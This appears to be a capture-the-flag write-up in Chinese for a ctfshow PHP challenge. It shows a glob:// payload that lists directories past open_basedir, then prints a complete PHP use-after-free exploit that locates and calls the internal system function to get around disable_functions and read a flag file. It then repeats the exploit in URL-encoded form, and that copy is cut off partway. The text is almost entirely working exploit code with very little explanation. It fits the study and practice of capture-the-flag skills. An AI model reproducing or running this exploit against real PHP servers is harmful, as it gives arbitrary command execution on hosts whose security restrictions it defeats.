opendir作用为打开目录句柄
readdir作用为从目录句柄中读取目录
通过glob协议 glob:///* 循环读取并输出根目录的文件名

1
2
3
4
5
6
7
8
9
10
c=?><?php
$a = $_GET['cmd'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
exit();
?>

get:?cmd=glob:///*

读文件

open_basedir对命令执行函数没有限制,但这里 disable_functionsystem等都ban了
UAF即为Use After Free。也就是使用了已经被释放的内存,最终导致内存崩溃或任意代码被执行的漏洞。UAF漏洞常见于浏览器中,如IE、Chrome、Firefox等
看不懂…….uaf
官方uaf脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?php

function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

需要url编码

1
c=%66%75%6e%63%74%69%6f%6e%20%63%74%66%73%68%6f%77%28%24%63%6d%64%29%20%7b%0d%0a%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%2c%20%24%62%61%63%6b%74%72%61%63%65%3b%0d%0a%0d%0a%20%20%20%20%63%6c%61%73%73%20%56%75%6c%6e%20%7b%0d%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%3b%0d%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%66%75%6e%63%74%69%6f%6e%20%5f%5f%64%65%73%74%72%75%63%74%28%29%20%7b%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%62%61%63%6b%74%72%61%63%65%3b%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%6e%73%65%74%28%24%74%68%69%73%2d%3e%61%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%28%6e%65%77%20%45%78%63%65%70%74%69%6f%6e%29%2d%3e%67%65%74%54%72%61%63%65%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%21%69%73%73%65%74%28%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%64%65%62%75%67%5f%62%61%63%6b%74%72%61%63%65%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%63%6c%61%73%73%20%48%65%6c%70%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%2c%20%24%62%2c%20%24%63%2c%20%24%64%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%72%32%70%74%72%28%26%24%73%74%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3d%20%30%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%6a%20%3d%20%24%73%2d%31%3b%20%24%6a%20%3e%3d%20%30%3b%20%24%6a%2d%2d%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3c%3c%3d%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%7c%3d%20%6f%72%64%28%24%73%74%72%5b%24%70%2b%24%6a%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%65%73%73%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%74%72%32%73%74%72%28%24%70%74%72%2c%20%24%6d%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%6f%75%74%20%3d%20%22%22%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%20%28%24%69%3d%30%3b%20%24%69%20%3c%20%24%6d%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6f%75%74%20%2e%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%70%74%72%20%26%20%30%78%66%66%29%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%74%72%20%3e%3e%3d%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6f%75%74%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%77%72%69%74%65%28%26%24%73%74%72%2c%20%24%70%2c%20%24%76%2c%20%24%6e%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%69%20%3d%20%30%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%73%74%72%5b%24%70%20%2b%20%24%69%5d%20%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%76%20%26%20%30%78%66%66%29%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%76%20%3e%3e%3d%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%3b%0d%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%38%2c%20%24%61%64%64%72%20%2b%20%24%70%20%2d%20%30%78%31%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%73%74%72%6c%65%6e%28%24%68%65%6c%70%65%72%2d%3e%61%29%3b%0d%0a%20%20%20%20%20%20%20%20%69%66%28%24%73%20%21%3d%20%38%29%20%7b%20%24%6c%65%61%6b%20%25%3d%20%32%20%3c%3c%20%28%24%73%20%2a%20%38%29%20%2d%20%31%3b%20%7d%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6c%65%61%6b%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%74%79%70%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%31%30%2c%20%32%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6f%66%66%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%32%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%36%2c%20%32%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6e%75%6d%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%38%2c%20%32%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%65%5f%70%68%6e%75%6d%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%68%65%61%64%65%72%20%3d%20%24%62%61%73%65%20%2b%20%24%65%5f%70%68%6f%66%66%20%2b%20%24%69%20%2a%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%74%79%70%65%20%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%2c%20%34%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%66%6c%61%67%73%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%34%2c%20%34%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%76%61%64%64%72%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%31%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%6d%65%6d%73%7a%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%32%38%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%36%29%20%7b%20%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%61%64%64%72%20%3d%20%24%65%5f%74%79%70%65%20%3d%3d%20%32%20%3f%20%24%70%5f%76%61%64%64%72%20%3a%20%24%62%61%73%65%20%2b%20%24%70%5f%76%61%64%64%72%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%35%29%20%7b%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%74%65%78%74%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%20%20%20%20%69%66%28%21%24%64%61%74%61%5f%61%64%64%72%20%7c%7c%20%21%24%74%65%78%74%5f%73%69%7a%65%20%7c%7c%20%21%24%64%61%74%61%5f%73%69%7a%65%29%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%5b%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%5d%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%6c%69%73%74%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%29%20%3d%20%24%65%6c%66%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%64%61%74%61%5f%73%69%7a%65%20%2f%20%38%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%69%20%2a%20%38%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%34%36%65%36%31%37%34%37%33%36%65%36%66%36%33%29%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%28%24%69%20%2b%20%34%29%20%2a%20%38%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%38%36%35%36%38%33%32%36%65%36%39%36%32%29%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%64%61%74%61%5f%61%64%64%72%20%2b%20%24%69%20%2a%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%62%61%73%65%20%3d%20%30%3b%0d%0a%20%20%20%20%20%20%20%20%24%73%74%61%72%74%20%3d%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%26%20%30%78%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%30%30%30%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%73%74%61%72%74%20%2d%20%30%78%31%30%30%30%20%2a%20%24%69%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%30%2c%20%37%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%3d%3d%20%30%78%31%30%31%30%32%34%36%34%63%34%35%37%66%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%62%61%73%69%63%5f%66%75%6e%63%73%3b%0d%0a%20%20%20%20%20%20%20%20%64%6f%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%65%6e%74%72%79%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%6e%61%6d%65%20%3d%20%6c%65%61%6b%28%24%66%5f%65%6e%74%72%79%2c%20%30%2c%20%36%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%66%5f%6e%61%6d%65%20%3d%3d%20%30%78%36%64%36%35%37%34%37%33%37%39%37%33%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%6c%65%61%6b%28%24%61%64%64%72%20%2b%20%38%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%2b%3d%20%30%78%32%30%3b%0d%0a%20%20%20%20%20%20%20%20%7d%20%77%68%69%6c%65%28%24%66%5f%65%6e%74%72%79%20%21%3d%20%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%74%72%69%67%67%65%72%5f%75%61%66%28%24%61%72%67%29%20%7b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%24%61%72%67%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%20%3d%20%6e%65%77%20%56%75%6c%6e%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%2d%3e%61%20%3d%20%24%61%72%67%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%73%74%72%69%73%74%72%28%50%48%50%5f%4f%53%2c%20%27%57%49%4e%27%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%27%54%68%69%73%20%50%6f%43%20%69%73%20%66%6f%72%20%2a%6e%69%78%20%73%79%73%74%65%6d%73%20%6f%6e%6c%79%2e%27%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%24%6e%5f%61%6c%6c%6f%63%20%3d%20%31%30%3b%20%0d%0a%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%20%3d%20%5b%5d%3b%0d%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%5f%61%6c%6c%6f%63%3b%20%24%69%2b%2b%29%0d%0a%20%20%20%20%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%5b%5d%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0d%0a%0d%0a%20%20%20%20%74%72%69%67%67%65%72%5f%75%61%66%28%27%78%27%29%3b%0d%0a%20%20%20%20%24%61%62%63%20%3d%20%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%5b%30%5d%3b%0d%0a%0d%0a%20%20%20%20%24%68%65%6c%70%65%72%20%3d%20%6e%65%77%20%48%65%6c%70%65%72%3b%0d%0a%20%20%20%20%24%68%65%6c%70%65%72%2d%3e%62%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%24%78%29%20%7b%20%7d%3b%0d%0a%0d%0a%20%20%20%20%69%66%28%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%37%39%20%7c%7c%20%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%30%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%55%41%46%20%66%61%69%6c%65%64%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%29%3b%0d%0a%20%20%20%20%24%70%68%70%5f%68%65%61%70%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%35%38%29%3b%0d%0a%20%20%20%20%24%61%62%63%5f%61%64%64%72%20%3d%20%24%70%68%70%5f%68%65%61%70%20%2d%20%30%78%63%38%3b%0d%0a%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%30%2c%20%32%29%3b%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%37%30%2c%20%36%29%3b%0d%0a%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%30%78%36%30%29%3b%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%38%2c%20%30%78%61%29%3b%0d%0a%0d%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%32%30%29%3b%0d%0a%0d%0a%20%20%20%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%2c%20%38%29%3b%0d%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%65%20%3d%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%64%65%74%65%72%6d%69%6e%65%20%62%69%6e%61%72%79%20%62%61%73%65%20%61%64%64%72%65%73%73%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%21%28%24%65%6c%66%20%3d%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%70%61%72%73%65%20%45%4c%46%20%68%65%61%64%65%72%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%69%63%5f%66%75%6e%63%73%20%3d%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%62%61%73%69%63%5f%66%75%6e%63%74%69%6f%6e%73%20%61%64%64%72%65%73%73%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%21%28%24%7a%69%66%5f%73%79%73%74%65%6d%20%3d%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%7a%69%66%5f%73%79%73%74%65%6d%20%61%64%64%72%65%73%73%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%0d%0a%20%20%20%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%3d%20%30%78%64%30%3b%0d%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%31%3